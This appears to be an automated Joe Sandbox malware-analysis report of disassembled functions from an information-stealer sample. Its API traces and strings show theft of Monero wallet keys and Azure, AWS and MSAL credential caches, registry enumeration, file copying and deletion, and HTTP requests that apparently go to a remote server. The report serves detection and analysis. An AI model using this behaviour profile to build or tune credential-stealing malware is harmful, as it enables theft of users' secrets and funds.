Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$0$P
API String ID: 460715078-2327827448
Opcode ID: 20d4286264fca710b8f358c45bc20486caa6a449e3654f4d9dba60f0354d5672
Instruction ID: 563687c880af217a2e32a627ca651b4ac0b69b60c1d2f903f4eea7079397b0a4
Opcode Fuzzy Hash: 20d4286264fca710b8f358c45bc20486caa6a449e3654f4d9dba60f0354d5672
Instruction Fuzzy Hash: 8512BC71931218AADF15EB90DC92FEEB379BF15300F5041A9B10662091EF706F69CFA6

Function 0028CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 00298B60: GetSystemTime.KERNEL32(002A0E1A,00E49FA8,002A05AE,?,?,002813F9,?,0000001A,002A0E1A,00000000,?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 00298B86

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0028CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0028D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0028D0CE
lstrcat.KERNEL32(?,00000000), ref: 0028D208
lstrcat.KERNEL32(?,002A1478), ref: 0028D217
lstrcat.KERNEL32(?,00000000), ref: 0028D22A
lstrcat.KERNEL32(?,002A147C), ref: 0028D239
lstrcat.KERNEL32(?,00000000), ref: 0028D24C
lstrcat.KERNEL32(?,002A1480), ref: 0028D25B
lstrcat.KERNEL32(?,00000000), ref: 0028D26E
lstrcat.KERNEL32(?,002A1484), ref: 0028D27D
lstrcat.KERNEL32(?,00000000), ref: 0028D290
lstrcat.KERNEL32(?,002A1488), ref: 0028D29F
lstrcat.KERNEL32(?,00000000), ref: 0028D2B2
lstrcat.KERNEL32(?,002A148C), ref: 0028D2C1
lstrcat.KERNEL32(?,00000000), ref: 0028D2D4
lstrcat.KERNEL32(?,002A1490), ref: 0028D2E3

Part of subcall function 0029A820: lstrlen.KERNEL32(00284F05,?,?,00284F05,002A0DDE), ref: 0029A82B
Part of subcall function 0029A820: lstrcpy.KERNEL32(002A0DDE,00000000), ref: 0029A885

lstrlen.KERNEL32(?), ref: 0028D32A
lstrlen.KERNEL32(?), ref: 0028D339

Part of subcall function 0029AA70: StrCmpCA.SHLWAPI(00E48A50,0028A7A7,?,0028A7A7,00E48A50), ref: 0029AA8F

DeleteFileA.KERNEL32(00000000), ref: 0028D3B4

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 59becf7a68134ee7b583f0b6097125f2e3b4c46d2f72aaeab2b972b975df8e32
Instruction ID: c3cc3d0374f0a55feea4e5cf247ed5dff73d4391136ca276ce6eccd600171a06
Opcode Fuzzy Hash: 59becf7a68134ee7b583f0b6097125f2e3b4c46d2f72aaeab2b972b975df8e32
Instruction Fuzzy Hash: 0CE1EC71920218ABDF04FBA4DD96EEE7378BF14305F104168F507A6091DE35AE29CFA6

Function 00286280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00284839
Part of subcall function 002847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00284849

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

InternetOpenA.WININET(002A0DFE,00000001,00000000,00000000,00000000), ref: 002862E1
StrCmpCA.SHLWAPI(?,00E4E550), ref: 00286303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00286335
HttpOpenRequestA.WININET(00000000,GET,?,00E4DC68,00000000,00000000,00400100,00000000), ref: 00286385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 002863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0028646D
InternetCloseHandle.WININET(00000000), ref: 002864EF
InternetCloseHandle.WININET(00000000), ref: 002864F9
InternetCloseHandle.WININET(00000000), ref: 00286503

Strings

P, xrefs: 002862F8
GET, xrefs: 0028637C
ERROR, xrefs: 00286407
ERROR, xrefs: 002864C9

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET$P
API String ID: 3749127164-1925310726
Opcode ID: b75f7a77ee705949a6420a7e98ae833ef23dbd7f5321830c7f4be626af6a3784
Instruction ID: 0942d2017aafb547c9e23331b67bf09d6e2c69da7098fc1893d9f3384ce8be7d
Opcode Fuzzy Hash: b75f7a77ee705949a6420a7e98ae833ef23dbd7f5321830c7f4be626af6a3784
Instruction Fuzzy Hash: BC713C75A21218ABDF24EFA0DC49FEEB774BB44704F108198F10A6B1D0DBB46A95CF91

Function 00298320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

RegOpenKeyExA.KERNEL32(00000000,00E4AE40,00000000,00020019,00000000,002A05B6), ref: 002983A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00298426
wsprintfA.USER32 ref: 00298459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0029847B
RegCloseKey.ADVAPI32(00000000), ref: 0029848C
RegCloseKey.ADVAPI32(00000000), ref: 00298499

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Strings

%s\%s, xrefs: 0029844D
?, xrefs: 0029837A
- , xrefs: 002985A3

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 44278594c7e9a56b7febc0515e0ffc6b7dc308ef01171bfbb06c613ac60f3ce6
Instruction ID: 6c6a5cafb4299d9410e0a5bc1242e03318901e5e206a4ffb68a75f3ca8615f7e
Opcode Fuzzy Hash: 44278594c7e9a56b7febc0515e0ffc6b7dc308ef01171bfbb06c613ac60f3ce6
Instruction Fuzzy Hash: DA810B7192121CABDB64DF50CD95FEAB7B8BF08704F008299E109A6140DF716B95CFE5

Function 00295510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A820: lstrlen.KERNEL32(00284F05,?,?,00284F05,002A0DDE), ref: 0029A82B
Part of subcall function 0029A820: lstrcpy.KERNEL32(002A0DDE,00000000), ref: 0029A885

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00295644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 002956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00295857

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00295228

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 002952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00295318
Part of subcall function 002952C0: lstrlen.KERNEL32(00000000), ref: 0029532F
Part of subcall function 002952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00295364
Part of subcall function 002952C0: lstrlen.KERNEL32(00000000), ref: 00295383
Part of subcall function 002952C0: lstrlen.KERNEL32(00000000), ref: 002953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0029578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00295940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00295A0C
Sleep.KERNEL32(0000EA60), ref: 00295A1B

Strings

ERROR, xrefs: 00295693
ERROR, xrefs: 0029577D
ERROR, xrefs: 00295849
ERROR, xrefs: 00295636
ERROR, xrefs: 00295932
ERROR, xrefs: 002959FE

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 230f86d7805ba99d08076cb759b8db00fb3032cd604b56bb02591d3c92ed7d37
Instruction ID: 3d7a7f2e0917f982a46e0354b63b490c8853ee0618daeffc2b04c81c151ec15d
Opcode Fuzzy Hash: 230f86d7805ba99d08076cb759b8db00fb3032cd604b56bb02591d3c92ed7d37
Instruction Fuzzy Hash: 06E1FB71930218AADF14FBA0EC97EED7378BF54300F508528A50666095EF346A39CFE6

Function 00294D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00298DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00298E0B

lstrcat.KERNEL32(?,00000000), ref: 00294DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00294DCD

Part of subcall function 00294910: wsprintfA.USER32 ref: 0029492C
Part of subcall function 00294910: FindFirstFileA.KERNEL32(?,?), ref: 00294943

lstrcat.KERNEL32(?,00000000), ref: 00294E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00294E59

Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A0FDC), ref: 00294971
Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A0FE0), ref: 00294987
Part of subcall function 00294910: FindNextFileA.KERNEL32(000000FF,?), ref: 00294B7D
Part of subcall function 00294910: FindClose.KERNEL32(000000FF), ref: 00294B92

lstrcat.KERNEL32(?,00000000), ref: 00294EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00294EE5

Part of subcall function 00294910: wsprintfA.USER32 ref: 002949B0
Part of subcall function 00294910: StrCmpCA.SHLWAPI(?,002A08D2), ref: 002949C5
Part of subcall function 00294910: wsprintfA.USER32 ref: 002949E2
Part of subcall function 00294910: PathMatchSpecA.SHLWAPI(?,?), ref: 00294A1E
Part of subcall function 00294910: lstrcat.KERNEL32(?,00E4E410), ref: 00294A4A
Part of subcall function 00294910: lstrcat.KERNEL32(?,002A0FF8), ref: 00294A5C
Part of subcall function 00294910: lstrcat.KERNEL32(?,?), ref: 00294A70
Part of subcall function 00294910: lstrcat.KERNEL32(?,002A0FFC), ref: 00294A82
Part of subcall function 00294910: lstrcat.KERNEL32(?,?), ref: 00294A96
Part of subcall function 00294910: CopyFileA.KERNEL32(?,?,00000001), ref: 00294AAC
Part of subcall function 00294910: DeleteFileA.KERNEL32(?), ref: 00294B31

Strings

Azure\.azure, xrefs: 00294DD3
Azure\.aws, xrefs: 00294E5F
*.*, xrefs: 00294E64
Azure\.IdentityService, xrefs: 00294EEB
\.azure\, xrefs: 00294DC1
*.*, xrefs: 00294DD8
\.aws\, xrefs: 00294E4D
msal.cache, xrefs: 00294EF0
\.IdentityService\, xrefs: 00294ED9

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 91c0ff3d933cfdf6a27df73bc148b76fb724371e82da5d77b3ca731d501b9e67
Instruction ID: 646154fdc81e9bc79d256b5e9210c3106326c2b65d08d537f1c44e5ae097529f
Opcode Fuzzy Hash: 91c0ff3d933cfdf6a27df73bc148b76fb724371e82da5d77b3ca731d501b9e67
Instruction Fuzzy Hash: 9841837A96030867CB50F770DC47FED7238AB25704F404594B645A60C1EEB45BF9CBA2

Function 00281310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002812B4
Part of subcall function 002812A0: RtlAllocateHeap.NTDLL(00000000), ref: 002812BB
Part of subcall function 002812A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 002812D7
